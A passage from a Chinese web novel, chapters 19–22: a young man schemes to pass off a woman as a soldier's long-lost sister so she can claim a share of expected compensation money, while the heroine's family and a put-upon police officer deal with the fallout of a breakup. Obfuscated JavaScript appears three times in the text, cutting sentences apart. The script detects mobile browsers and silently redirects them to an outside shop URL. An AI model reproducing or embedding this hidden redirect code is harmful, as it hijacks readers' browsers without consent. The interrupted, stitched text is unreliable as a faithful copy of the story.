温枕瑜没回,嫌弃地从口袋里掏出两张军人的照片:“来看看这两个,你觉得哪个跟姚长安有血缘关系?” 邢亚辉接过来一看,一个跟姚长安长得有五六分相似,一个除了眼睛就没有哪儿相似了。 他下意识选择了更像的那一张。 却被温枕瑜抢过两张照片,顺手给他一个脑崩儿:“蠢死了!活该你发不了财。” “你打我干什么?”邢亚辉郁闷死了,见他扭头便走,赶紧跟了上去,“哥,你到底什么意思啊?总不能是另外一个吧,根本没有我选的那张像嘛。” “你像不像我?”温枕瑜猛地停下,好像在看一个二百五。 邢亚辉闻言一愣:“是……是有点,但是大表哥跟咱俩都不像。” “废话。他像我爸,我像我妈。我妈跟你妈是亲姐妹,你又像你妈,你当然像我。”温枕瑜扭头往前走,“想发财吗?跟我来。” 邢亚辉本能地想说不,可是他跟冯媛媛在学校附近租了房子同居,开销很大,只得硬着头皮跟上。 再相信二表哥一回好了,这次要是再上当,他倒立吃屎! 19. 顶替 温枕瑜在首都买了一套四合院,这事他是瞒着家里做的,至于钱从哪里来,邢亚辉没问。 所以即便放寒假了,温枕瑜也不担心没地方去。 邢亚辉一路跟过来,关门的时候,听到后面正堂那里传来了一个娇俏的女人声音。 他把门插好,回头一看,当真是个媚而不俗的大美人,烫着大波浪,踩着高跟鞋,大红唇一抹,往门口一站,就是一道靓丽的风景。 二表哥的审美一向如此,邢亚辉倒不奇怪,只是奇怪,二表哥什么时候不声不响搞了个女人回来。 他跟到正堂,人家小情侣两个居然直接进了卧房,你侬我侬去了。 邢亚辉不想折磨自己的耳朵,干脆去院子里堆雪人,刚滚了两个雪球,堆上了雪人的肚子和脑袋,他那风流倜傥的二表哥已经办完事出来了。 邢亚辉忍不住吐槽了一句:“才一刻钟?我以为你要一个小时以上。” “放你的屁。”温枕瑜嫌弃地翻了个白眼,“言情小说看多了?” “啊?难道不是吗?像你这种脑子机灵又帅又受女生欢迎的男生,肯定是做男主角的命啊,起步都是一个小时,要么一夜七次郎。”邢亚辉觉得雪人的脑袋歪了,叉着腿,歪着头,好好捣鼓捣鼓。 温枕瑜点了根烟,嗤笑道:“那都是放屁,男人,三分钟及格,十五分钟已经非常拔尖了。” “那不能吧,我还半个小时呢。”邢亚辉感觉有点幻灭,二表哥也忒快了点,估计是搞多了,肾虚。 温枕瑜懒得跟这种言情小说的脑子争执,他站在树下,眯着眼看着缭绕的白烟,语不惊人死不休:“跟冯媛媛分了吧。” “啊?”邢亚辉吓得一屁股劈在了地上。 温枕瑜叼着烟,笑道:“怎么?舍不得?” “不是,这太突然了哥。”邢亚辉坐在地上,没有站起来,他不理解,“当初怂恿我跟她睡的是你,现在让我分手的也是你,你到底在琢磨什么啊?” “笨死了,当然是分手去钓图书馆的那个。”温枕瑜吐了几个烟圈,自以为很酷的四十五度角仰望着夜空。 可惜雪花不给面子,钻进眼眶里,有点疼,他赶紧换了个姿势。 邢亚辉已经震惊得说不出话来了,爬起来后把手上的雪擦在面包服上,好奇道:“为什么?” “她是姚长安的表姐。”温枕瑜掏出怀里的军人照片,把那张跟姚长安不怎么像的递过去,“我需要你接近这个女人,让她听你的,然后你们一起,去接近这个军人。” “啊?他谁啊?”邢亚辉完全摸不着头脑,接过照片看了又看,实在是不懂姚长安跟这个军人的渊源。 温枕瑜这次没有故弄玄虚,而是直接道:“他是姚长安的亲哥,姚长英。你看他的军装——” 邢亚辉不是很懂,下意识从温枕瑜手中拿过来另外一张,对比了一下,可算是发现了一点不同:“这两人都是军官吧?但是级别好像不太一样?” “长得像姚长安的这个,叫穆承恩,他是姚长安的姨表哥,是个三级士官,能爬到四级也就顶天了。” “啊?姚长安知道吗?” “她要是知道,咱们还有操作的空间吗?” “那她亲哥呢?她也不知道?” “废话,她亲哥上的是军校,搞导弹的,一毕业就是尉官,前途无量。” “不是,哥,你到底从哪儿弄来的这些,为什么她自己都不知道?” “废话,她被送养的时候才一个月,能知道什么?” “那这个姚长英呢?” “他那会儿两岁多,还没记事。” “我不懂,那我接近他做什么?你不会是想让他以为姚长安的表姐是他亲妹妹吧?岁数对不上啊。” “急什么,岁数可以改,长得像就行了。” “可是,你的目的是什么呢?” “他是被他亲姨妈抱走养大的,他姨妈没有儿子,只有三个女儿,他是唯一的继承人。” “他姨妈家很有钱?” “两年后拆迁,跟姚长安家一样,有一千来亩果园,两年后的行情比现在好得多,起码能拿一千万。” “……不是吧?就算一千万都给他,不给他姨妈的亲女儿,他也不见得会给自己的亲妹妹啊?” “为什么不会?你不会带着那个女人整天在他跟前晃悠?” “他在部队啊,我能怎么晃悠啊。” “白痴,他不是普通的职业军人,他进的是军方研究所。” “那……那也就是说,他在城市里生活?” “嗯。” “在哪儿?” “秦汉故里。” “要去陕西啊?跑那么远?” “你去那边实习,正好我舅的朋友有个楼盘开售,你去做售楼员。” “可是……可是姚长安的表姐为什么要听我的?她那个当士官的哥哥不会找我麻烦吗?” “她三岁的时候被人从家门口拐走了,根本不知道穆承恩是她亲哥,自然也不知道姚长安和姚长英是谁。” “她……她是被拐的啊?” “嗯。” “不是,哥,你到底怎么知道的这些,你干私家侦探去了?” “少废话,你努努力,让姚长英多给你们分点钱,反正他搞研究的,又是军人,他不需要这么多钱。” 邢亚辉站在雪地里,久久说不出一句话来。 他大概明白了,二表哥是想让他以寻亲为名,忽悠姚长安的表姐跟他去陕西,找姚长英认亲。 而兄妹之间是做不了什么亲子鉴定的,就算被姚长英发现搞错了,也不怕,毕竟这个女人是他的姨表姐妹。 至于到底怎么让姚长英相信,二表哥已经给过他提示了——姚长英大概长得像爸爸,姚长安像妈,姚长安的表姐像表姐的妈,两人的妈是亲姐妹。 那么养大姚长英的那个姨妈,必然也是这两人的姐妹,家里说不定还有以前的照片呢。 看到照片,对对人,差不多就可以糊弄过去了。 只是他又糊涂了,问道:“哥,难道姚长安的妈跟她表姐的妈互相不认识?” “嗯。” “家里女儿太多,送人了?” “别问了,无非就是送人,拐卖,自己走丢了,战争走散了。”温枕瑜没耐心了,催促道,“隔壁西厢房给你安排了房间,赶紧去睡,明天早点起来,去接近这个女人。” “她叫什么?” “方美玲。” 第二天,邢亚辉便照着温枕瑜教他的话术,成功引起了方美玲的注意。 一个人的身世,总是可以成为打开话匣的引子,方美玲从小知道自己不是爸妈亲生的,只是没想到,有朝一日会有人带她去找她亲哥。 她很激动,答应邢亚辉,等过完年,她就找个工作调动的借口,跟他去陕西找哥哥。 * 姚长安跟爸爸没有当天回去,因为她准备第二天把暂住证给办了,这样来年过来实习的时候就不用再麻烦了。 没想到穆从意过来找她拍照片,她大概猜到穆从意的动机,毕竟她跟穆承恩长得确实有点像,她便欣然应允了。 第二天拍完照片,办完暂住证,她便回了老家,收拾收拾准备过年了。 一个礼拜后,爸爸又陪她去省城领取了暂住证,至此,她实习和工作事情基本上都尘埃落定了。 她跟爸妈去了县里,过了个相对清静的新年。 她并不知道,那张照片在年后,在壶州的某个小乡村里,引起了巨大的波澜。 她只知道,爸妈在县城买了个门面房,刚装修好,准备开服装店,正好她趁着放假,陪妈妈逛逛街,看看现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“八折,八折就好。”张浩不想在外面太过高调,赶紧掏钱,给了二十五。 后面的温怀瑾也拿了两本书,一本16.8,一本12.8,姚长安头都没抬,看完书,报道:“23.68,抹零,给23。” 温怀瑾掏出一张二十的,三张一块的,特地多看了她一眼,这才出去了。 到了外面,张浩惊叹道:“哎,温哥,这小同志心算能力挺强啊。也不知道低头在看什么,那么投入呢。” 温怀瑾个头高,一眼就看到了书的正文,他提着袋子里的书,在店门口顿足,道:“治安管理条例。” 张浩有些意外,赶紧折回店里看了眼,还真是,他不禁好奇:“小同志,你看这个做什么?准备考警校吗?” “不是啊,来大城市上班,总得遵纪守法吧。”姚长安依旧没有抬头,她拿着笔,做标注呢。 张浩笑着夸了句:“挺好,看来这几年的普法教育很到位。” 姚长安笑着抬头看了他一眼:“同志,你还需要什么书吗?” “不用了不用了。”张浩想了想,补充道,“其实有空的话,你可以把刑法和宪法也看看,以后要是遇到坏人,可以拿起法律的武器保护自己。” 姚长安乐了,这人真逗,买个书还聊起天来了,她指了指旁边的一摞书:“你说这些吗?我买了,等我先看完治安管理条例再看你说的那两本。” 可惜张浩看不见,柜台有点高,挡着后面的办公桌了,而他有点矮。 不过他信她,他笑着说道:“行,那不打扰你了。” 出了店门,他很是夸赞了这个小同志一番,末了问道:“哎,温哥,你说,她是不是大学生啊?这么勤奋好学,不简单啊。” “嗯。”温怀瑾来到购物中心门口,撑开雨伞,往停车场走去。 张浩赶紧跟上:“哎,等等我,你嗯什么,万一我猜错了呢?” “我见过她。”温怀瑾打开车门,“她给乘务员出示的是学生票。” “啊?什么时候的事?你俩说话没有啊?”张浩合上雨伞钻进车里。 温怀瑾没理他,车子刚开出去,就接到了一通电话。 他弟闯祸了。 20. 偏心 电话是冯媛媛的爸爸打来的,兴师问罪,语气很冲。 温怀瑾赶紧停在路边,问清楚到底什么情况后,他挂了电话,跟张浩商量:“我去趟栖梧县,你是回家还是?” “怎么了?”张浩知道自己这个哥们儿一向脾气很好,除非温老二在外面惹事了,做哥哥的才会臭着一张脸。 温怀瑾无奈道:“我表弟谈恋爱,跟人家姑娘同居半年,被我弟挑唆分了。” 张浩蹙眉,嘀咕道:“分了就分了,找你做什么?” “我爸妈没空,推我这来了。”温怀瑾也无奈,从小到大,都是他去善后。 如果他不去,事情兜兜转转还是会落在他头上,轻则去学校找他麻烦,重则收买一群黄毛在路上堵他。 就好像有一双无形的手,在安排他这荒诞的人生。 以前还好说,现在他是警察了,不能让对方到单位闹,只能尽快处理。 张浩打小跟他一起长大,很理解这句话里的无奈,打抱不平道:“这都什么事儿啊,你是当哥的,又不是当爸的,凭什么总让你管?” “你回去吗?”温怀瑾看看时间,不早了,现在去的话,晚上还能赶回来,他还得值夜班。 张浩想了想,伸手问他要大哥大:“借我打个电话。” 张浩直接打给了机关办公室,找张爸告状去了,末了埋怨道:“养不教父之过,温叔叔再不管管他这个二儿子,以后把天捅破了可别怨我们没有提醒过他!” 张父也很无奈:“你又不是不知道,你温叔叔忙。” “忙忙忙,难道温哥就不忙?刑警队多少事啊!万一领导找他,他又不在市里,到时候工作都保不住!” “哎呀,有什么办法呢,温老二是他爷爷奶奶带大的,老一辈都溺爱孙子,也不能全怪你温叔叔。” “不怪他难道怪温哥吗?温枕瑜是他儿子,不是温哥儿子!” “哎呀,你冲我吼什么?你温叔叔心里有数,已经他把名下的房子转给你温哥了。” “真的?” “真的!你别到处嚷嚷啊,这事温枕瑜和他妈妈都不知道。” “这还差不多。也别光说别人,你也要管管小妹了,整天跟那些黄毛鬼混!我一说她她就骂我狗拿耗子,多管闲事。照这么下去,迟早给你闯大祸!” “好了我的祖宗,我管过了,她不听我的,女大不中留,随她去吧。” “行,这话是你说的!我倒要看看她跟温枕瑜到底谁更不像话!”张浩气鼓鼓地挂了电话,又给女朋友去了个电话,取消了下午的约会。 挂断电话,他非常仗义地说道:“走!我陪你去!有些事你不好开口,我来!” 温怀瑾没有拒绝,万一冯家那边动手,他需要一个拉架的。 不过老二那小子正在实习,想让这个罪魁祸首跟人父母当面道歉是不可能了,但也不能便宜了那小子,总得找个机会好好让那家伙吃点苦头才行。 这都是后话了,当务之急还是先灭火,两人火急火燎地打了火车票,赶去了栖梧县。 一直折腾到下午五点多,才安抚好了冯家父母。赔了好大一笔钱,这钱邢铁军出了七成,剩下三成温枕瑜负责。 温怀瑾不算白辛苦,回到住处,发现茶几上摆了一万块钱,肯定是他那个大方的老子给的。 他拿起电话,跟他妈妈汇报情况。 温母偏心二儿子,为难道:“怀瑾啊,你也知道,你舅舅那边搞房地产开发,没少问家里借钱,妈手头紧。你以前写的侦探小说不是一直有版税收入吗?你先垫一下?” “垫不了,买车了。”温怀瑾写小说那还是上高中时候的事儿了,出版了三本,一个系列,他确实有点小钱,可是这钱不该他出。 温母不高兴,问道:“什么时候买的?怎么不跟家里说一声?” 温怀瑾不想啰嗦,直接放大招:“我用老二的名义打了欠条。” 温母急了:“什么?你这孩子,这不是添乱嘛!也就三万块钱,你帮你弟弟出一下能怎么样啊?” 温怀瑾不禁冷笑:“你也不问问我吃了没有?” 温母无语了:“你都这么大人了,还不会照顾自己啊?” 温怀瑾没什么好说的:“冯家有你电话,三天之内没人打钱,人家就去工地找舅舅。” 温母气得心口疼,她哥在栖梧县承包了工地,就是苍山镇那个海边小村的拆迁和工业园的建设。 到时候人家真去工地闹的话,她没法跟她哥交代,只得臭着脸,要了冯家爸爸的卡号。 * 姚长安下班回到住处,妈妈打了通电话过来。 她没装座机,用的是大哥大,没办法,上班了,爸妈不放心她一个人在外头。 她一边下面条一边闲聊:“妈妈我想你啦,正准备给你打电话呢。” “乖宝,自己在外面别省着,不想做饭就去外头吃点好的。我看你那房子附近有不少小馆子,大饭店也有几家,千万不要委屈了自己。女孩子家,要是营养跟不上,例假都不能好好来。” “放心吧妈,我今天做了排骨。” “那就好。对了乖宝,你还记得之前掉河里那小子吗?” “记得,怎么了?” “嘿呦,闯祸了。我说冯家闺女今年怎么没有出来拜年呢,过完年也没有跟着邢亚辉去学校。你猜怎么着?” “分了?掉水里那个祸害挑唆的?” “可不是嘛!我家乖宝真聪明,一猜就中!” “正常,邢亚辉跟我分手也是他挑唆的。” “真的?” “真的啊,邢亚辉一向没有主见,这么大的事他自己不会也不敢乱来的,除非有人在后面给他出馊主意。” “嗯!对!还是我家乖宝看问题透彻!幸好你们分了,要不然还不知道将来受他多少气呢。” “冯媛媛现在还好吗?” “好什么呀?这事多丢人啊,她没脸往外说,借口邢亚辉实习,不好跟着,在家装了两个多月,结果到了生日那天,邢亚辉连个电话都没有。她爸妈逼问了半天,这才装不下去了。” “太可怜了,妈你知道她家电话吗?我劝劝她。” “算了,他们这几天天天在你邢叔叔家闹呢,你这身份尴尬,别自讨没趣了宝。” “好吧。邢叔叔那边怎么说?” “还能怎么说,只能赔钱啊。那冯家也是本事大,居然打听到了他那个刑警表哥的电话。这不,今天人家特地赶过来处理了。” “这家人真逗,他们应该找家长啊,凭什么找人家当大哥的,刑警多忙啊,真好意思。” 姚长安有点同情可怜的男配角。 纵观全文,温怀瑾就是个灭火队长的角色,男主角温枕瑜和一号男配角邢亚辉负责放火。 没想到现在连分手的事都要找他,真可怜。 好在她妈妈也觉得冯家做事不上道儿,骂道:“可不是,太不像话了!我听说咱们桥东那个工地,就是温家舅舅承包的。冯家放着现成的长辈不找,还不是欺软怕硬,觉得人家哥哥是晚辈好拿捏吗!” 姚长安无奈,只能祝福可怜的二号男配温怀瑾,顺利处理完这破事吧。 她问道:“冯家没有为难那个刑警吧?” “还好,只是数落了他半天,没有动手。那孩子也懂事,一直赔礼道歉,态度很好。可惜了,摊上这么一个弟弟。”刘克信越想越觉得后怕,还好邢亚辉跟自己女儿退婚了,她叮嘱道,“乖宝,你也不小了,在外头千万擦亮眼,不要被男人骗。尤其是邢亚辉,他要是想吃回头草,你不要理他,直接跟妈说!我跟你爸爸非得揍死他不可!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946474|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>听到妈妈这么维护自己,姚长安心里暖暖的,她应道:“放心吧妈妈,我连隔夜饭都不吃,这种倒胃口的男人早就直接扫进垃圾桶了!” “哎呦!我家乖宝就是有文化,骂人都骂得这么有水准。”刘克信放心了,又叮嘱了一遍学完车早点回来,别逛夜市,不安全,睡觉要关好门窗云云,这才挂了电话。 姚长安确实不打算逛夜市,下雨也不打算去学车,便去金鹏购物中心逛逛。 晚上书店也营业,这时候的收银员是穆从意自己。看到姚长安从门口路过,赶紧招手让她进来。 姚长安笑着进门:“姐,吃过没?” “吃过了,天热了,我买了两条裙子给你,本打算明天给你的,既然你来了,那就拿回去吧。”穆从意从柜台后面提了两个购物袋。 姚长安笑着道谢,收下后问道:“这会儿没有客人吗?” 穆从意走出来靠在门口闲聊:“没有,刚走了两个便衣。” “便衣?” “对啊,我认识他们,去年这俩小伙子到我们小区出过现场。” “原来是这样,他们买书啊?” “过来喝咖啡的,有一个要值夜班,特地过来提提神。可别说,咱家店里的手磨咖啡,喝过的都说好!” “是挺好的,闻着都香。”不过姚长安没有尝过,毕竟是上班的地方,不给钱不合适,给钱的话穆从意又不肯要。 她不想占这个便宜。 至于穆从意送的衣服,这个没啥,等会她也买几套衣服给人孩子就行了。 两人又聊了一会儿,店里来了对小情侣喝咖啡,姚长安这才走了。 去楼上逛了一圈,东西真贵,幸好她有钱。她给穆从意的一双儿女各买了两套衣服,送去了书店。 正好穆从意在咖啡台帮忙,她便放下衣服,直接走了,不给穆从意拒绝的机会。 穆从意忙完来柜台一看,忍不住笑了,这妹妹真好!可惜…… 八点半打烊,回去她给穆承恩打了个电话:“承恩啊,你那边打听到什么情况了吗?” “没有呢姐,朋友还没给我回电话。” “你那个朋友不是他们镇上的吗?这点事都打听不到?” “要不我把他号码给你,有空你催催他?” “行。总得知道长安妹妹从哪儿抱养的,我才好去核实她父母的情况。万一她真是咱家表妹,我也就死了心了。” “姐!”穆承恩哭笑不得,他姐看上这个妹妹了,总想着如果不是亲表妹,就给他说媒呢。 他受不了,严词拒绝:“姐啊,你可千万别有这个想法,就算她跟咱没有血缘关系,我也不能跟她处对象。” “也对,你是真把她当妹子看了。” “可不嘛!你还是给她介绍别人吧。” “可别说,倒是个有合适的人选。” “谁啊?” “刑警队的小宋啊!警校毕业的,人也俊,爸妈又是体面人,我瞧着挺好。” “算了吧,刑警多危险啊。万一有个三长两短,咱妹子不得伤心吗。”穆承恩不同意,想了想,推荐道,“姐夫那个朋友家弟弟不是今年毕业吗?两人都是大学生,应该合得来。” “那小子在沪城呢。”穆从意有点犯嘀咕。 穆承恩笑道:“不远啊,说不定人家毕业回来发展呢?” “不可能,从来都是咱们这的孩子往那边跑。”穆从意摇摇头,“算了,异地恋容易出事。” 姐弟俩又琢磨了一阵,到底没有太好的人选,只得暂时作罢。 半个月后,在穆从意的催促之下,穆承恩的朋友总算是打听到了一点有用的信息。 穆从意正在建材店看店,她下意识握紧话筒,问道:“真的?她爸妈是这边钢铁厂的?行,下午我就去那边问问!” 21. 冒牌 姚长英一直觉得自己的人生非常完美,非常幸福。 他有三个姐姐,大姐温柔娴静,说话柔声细语,哪怕生气了,也只是不理人,从来不会恶言相向;二姐是个假小子,做事风风火火的,张口闭口都是“别怕,天塌下来姐罩着你”;三姐虽然内向了一点,可她是个学霸,从小到大,她总是主动把自己的笔记借给他,哪怕他青春期叛逆,装病逃课,三姐也会主动给他补课,还帮他瞒着小秘密,不让爸妈知道。 爸妈对他更是关怀备至,真是含在嘴里怕化了,捧在手心怕碰了。 只是他怎么没想到,他的幸福人生,在一九九七年的暮春,画下了句号。 一切要从两多个月之前,他在咖啡馆邂逅的一对情侣说起。 那天他休息,约了朋友出来看电影,可是朋友不知道出什么事了,迟迟不见人来,他等到电影开场半个多小时才进去,没看开头,自然就理不清人物关系,看了半个小时就出来了。 时候还早,他便一个人去附近逛逛,给大姐买了她喜欢的卡通图案的棉布,给二姐买了她喜欢的港台武打片光碟,给三姐买了她喜欢看的绝版铜刻藏书。 准备回去的时候,天公不作美,好在他右手边就是一家咖啡店,便进去喝点咖啡躲躲雨。 那对情侣就是在他后面进来的,两人坐在邻桌,客气地冲他笑了笑。 萍水相逢,互相点头示意,已经算是最好的教养和最大的善意,他也笑了笑,便是这一笑,他意识到了什么,下意识多看了一眼。 女生跟他妈妈有几分相似,也有几分大姐的影子,跟二姐三姐倒是不怎么像。 他觉得是巧合,低头继续品尝自己的咖啡。 准备离开的时候,这对小情侣起了冲突,吵得面红耳赤的,他便劝了劝,一问才知道,两人刚从外地过来,下了火车站找了酒店寄存了行李,就出来逛街了,没想到钱包不见了。 姚长英从小泡在蜜罐里长大,自然不会怀疑这对情侣的说辞,想着两杯咖啡也没几个钱,便帮着垫付了。 小情侣感激不尽,非要问他要地址,说改日上门还钱给他。 他不肯,两人便一路尾随着他,跟到了公交车站,还想跟他一起上车,非要跟到他的住处不可。 他琢磨着这么下去也不是办法,再说这对情侣身上没钱,上车买票肯定要挂相,到时候闹起来,他肯定看不下去,只得退让一步,约好了下个礼拜还在刚才那个咖啡馆见面,时间是下午两点。 小情侣见好就收,一个劲地道谢,目送他上了公交车。 他那车刚走,下一班公交车就来了,那对情侣也上了车,不知道是不是跟踪他,他希望不是。 后来下车的时候他还特地看了眼,发现后面那辆过来的时候,小情侣并没有下车,他这才松了口气。 第二个礼拜天,他准时赴约,小情侣已经提前到了,还帮他点了杯咖啡,方糖和牛奶也都准备好了,因为不知道他的口味,就没有给他加进去。 他坐下,把方糖和奶全部加进去,又额外要了三颗方糖,搅拌了半天,这才捧起了咖啡杯。 喝完咖啡,小情侣还了钱,又邀请他去看电影,看的还是他上次没看开头的那部,他犹豫了片刻,终究是抵不过小情侣的热情,答应了。 就这么,一来二去的,他跟这对小情侣成了朋友,基本上每个礼拜天都有约会,不是去爬城墙,就是去逛公园,要么去看兵马俑,或者参观博物馆。 怎么说呢,一句话形容,这对小情侣还挺招人喜欢的,热情,大方,不做作,请客吃饭也从不抠抠搜搜的,当然,他不是占便宜的人,下顿总是要请回去的。 总之,两个多月的时间,足够三个年轻人在友情的康庄大道上,齐头并进地迈出去好几个站点了。 就在他庆幸自己的善心换来了两个不错的朋友时,他的天塌了。 那天是那个女孩过生日,他也受到了邀请,去火锅店庆祝。 吹蜡烛的时候,才发现那个女孩哭了,他赶紧问她怎么了? 但见她坐在对面,隔着摇曳的烛光,泪光盈盈地看着他,双手合十:“你可以满足我的一个愿望吗?” 姚长英一头雾水,道:“可以,只要是我能做到的,不犯法的。” 女孩却依旧啜泣不止,哪怕她男朋友不断安抚劝慰,也无济于事,他急了,劝道:“大家都是朋友,有什么事你说,没事的,不要觉得不好意思。” 女孩终于抬头向他看来,擦了擦眼泪鼻涕,问道:“我可以叫你一声哥哥吗?” “你比我小两岁,按理说没问题,可是你家里没有兄弟姐妹吗?”姚长英没有多想,他有三个姐姐,再多一个妹妹也没什么,可是成年人哥哥姐姐的喊,总归有点肉麻。 见他不答应,那女生哭得很厉害了。 他完全懵了,只得无助地看向她的男朋友,那个叫邢亚辉的小伙子。 邢亚辉默默叹气,一副欲言又止的样子。 他实在是受不了了,只得放了狠话:“这到底是闹什么嘛,再不说我走了,明天还要上班。” 那个叫方美玲的女生赶紧扯住了他的袖子,喊了声哥。 姚长英松了口气,问道:“终于愿意开口了?说吧,是不是被同事欺负了?大城市嘛,总是鱼龙混杂的,有几个败类也正常,你告诉我,我去收拾他!” 方美玲却哭着扑进他怀里,弄得他手足无措的,只得张着双臂,一个劲的冲邢亚辉瞪眼睛。 邢亚辉却苦笑道:“你就让她好好哭一场吧,为了找到你,她这些年没少遭罪。” “什么?找到我?”姚长英一个脑袋两个大,他不理解,“找我做什么?难道你们之前就认识我?” “嗯。”邢亚辉默默叹气,“其实她是你亲妹妹。” “不会吧,我没听说我爸妈还有个孩子啊?”姚长英震惊得不行,赶紧推开方美玲,仔仔细细地看了看她的脸模样,又觉这话不能说得太过绝对,便问道,“你现在的爸妈都跟你说了什么?” 方美玲什么都说不出来,只一个劲地抱着他哭,最终是邢亚辉跟他讲明了事情经过。 原来他不是他爸妈亲生的,他应该叫他们姨妈和姨父。 因为没有亲弟弟,农村人的传统观念 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16950010|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又必须有个男丁顶门立户,所以三个姐姐接受了他的存在,并听从爸妈的教诲,把他当亲弟弟一样看待。 原来他的亲生父母早就死了,死的时候他才两岁多点,他还有个刚满月的妹妹,还有三个哥哥姐姐,都被送人了。 现在这个妹妹找过来,是因为妹妹的爸妈得了绝症,人之将死其言也善,便把她的身世和盘托出。 至于他们的哥哥姐姐在哪儿,邢亚辉为难道:“他们现在都成家了,并不想找弟弟妹妹,算了。” 姚长英将信将疑,一切来得太突然了,他需要时间消化,需要亲自核实。 他虽然被爸妈姐姐保护得很好,但他还有自己的思考能力。 他先回去,找到内向的,最能藏得住事儿的三姐摊牌。三姐只比他大了一岁,特地等了一年,跟他一起上的学,知道的并不比他多。 他只好威胁三姐,他要找爸妈打听,三姐终于开口,说她隐约记得,很小的时候家里是没有弟弟的,有天爸妈带了个弟弟回来,说是养在乡下姥姥家的,她就信了。 至于弟弟是不是亲生的,她从来没有任何怀疑。 没辙,他只好去找最温柔的大姐打听,大姐果然藏不住事儿,眼泪刷的一下,豆子般砸了一地。 他确实是抱来的,他的亲妈,跟他现在的妈妈是亲姐妹,因为他的亲生父母都死了,所以长辈们干脆什么都不告诉他,免得他知道了伤心。 他确实还有三个哥哥姐姐,一个小妹,都送人了,不知道在哪儿。 事已至此,他无话可说,可是,小妹是怎么找到他的?他的养父母,也就是他的亲姨妈姨父都未必知道小妹的下落吧,要不然,大姐怎么什么都说不出来呢? 可是他答应了大姐,不能找长辈追问,这会让他们伤心,让他们难过,他只能自己来钢铁厂核实当年的情况。 他请了三天的事假,好在长辈们都住在乡下,他一个礼拜不回去都没事。 这会儿他下了飞机,便打了个出租车,直奔钢铁厂而来。 司机是个热情的大婶儿,问他来这边做什么,是出差还是探亲访友啊? 他想了想,问道:“婶子,我听说这边的钢铁厂,二十年前出了一次爆炸事故,死了不少人,真的吗?” 大婶儿感慨道:“真滴呀,当然是真滴!恁不晓得有多哈人哦!报纸啊,广播电台啊,全都报道过这件事。那哈通通的烟哦,在江对面都能看见滴好吧!后来下了场大雨,火势才控制住了。真是哈人得一比。” “哈人?”姚长英没听懂。 大婶儿赶紧换普通话:“就是吓人的意思。不好意思,忘了你是外地的。陕西来的吧?听口音像。” 姚长英点点头:“嗯。” 他没有再打听什么,听着太难受了。 车子停下,他站在厂门口,生平第一次理解了什么叫做近乡情更怯。 正犹豫到底要不要过去,便看到一个女人气鼓鼓地跑了出来,嘴里骂骂咧咧,说着什么缺德鬼,没pi眼之类的糙话。 也不知道谁惹她了,看起来像个炸毛的老虎,很有点他二姐的派头。 22. 擦肩 姚长英等了半天,终于从钢铁厂的档案室里,拿到了两份职工信息表。 男的叫姚远征,一九三九年生,牺牲的时候,职位是技术科科长,技术八级。 档案管理员把这份信息表拿给他的时候,特地多看了他两眼,嘴里发出一声惊叹:“真像,你不会是姚工的儿子吧?” 姚长英不知道,他又看向另外一张表格,女人叫华卫萍,一九四一年生,牺牲的时候,职位是设备科科长,技术八级。 两人一共生育了五个孩子,前面四个孩子都有明确的姓名,第五个没写,只用小五代替,性别女,出生日期,跟方美玲说的对得上。 他盯着档案上的照片,鼻子有点发酸,因为这个华卫萍,确实跟他现在的妈妈有五六分相似,说是亲姐妹,是不会有人怀疑的。 他只是不明白,华卫萍怎么跟他现在的妈妈不同姓呢? 难道这两个姐妹,其中一个是送给别人家养大的? 可惜这从信息表上也看不出来,毕竟华卫萍的父母一栏是空的。 所以,姚远征的父母一栏,成了他能够追踪下去的唯一线索。 他掏出纸笔,记下姓名地址,包括那几个孩子信息,虽然他知道,他们被送养之后肯定改了名字,未必能找到,但他还是想尽力试试。 从档案室离开后,他又拜托现在的厂长帮他找了几个老职工打听,那些叔叔阿姨看到他,都是明显的一愣,直接问他是不是姚远征的孩子。 至于姚远征的五个孩子都送给了谁,他们是不清楚的,毕竟谁也不会敲锣打鼓地把孩子送走。 但是有一点他很清楚,华卫萍牺牲的时候还在坐月子,她是听说厂里出事了,特地从职工宿舍赶过来的,同事都拦不住。 好在,她的努力没有白费,在她闯进火场后不久,周围的其他车间都保住了,唯一没有保住的,便是他们两口子的生命,和那五个孩子的未来。 等到火势被大雨扑灭,这对夫妻便永远的消失了,尸骨无存。 厂里给了一笔令人咋舌的抚恤金,那笔钱是姚远征的爸妈领走的,之后一大家子便没了音讯。 一个好心的大叔提醒他:“孩子,这地方我去过,厂里出事之后,我们都忙着清理事故现场和重建,等到我们终于有空去你爷爷奶奶家看看你们的时候,早就人去楼空了。” “人去楼空?”姚长英握紧了双拳,问道,“那您知道我叔叔伯伯在哪个单位工作吗?” “不知道,他们从来没有来过厂区宿舍,我们也只是跟你爸妈闲聊的时候,知道你爸还有几个兄弟。”大叔叼着烟,一脸的感慨。 姚长英又问:“那您认识我爷爷奶奶吗?” 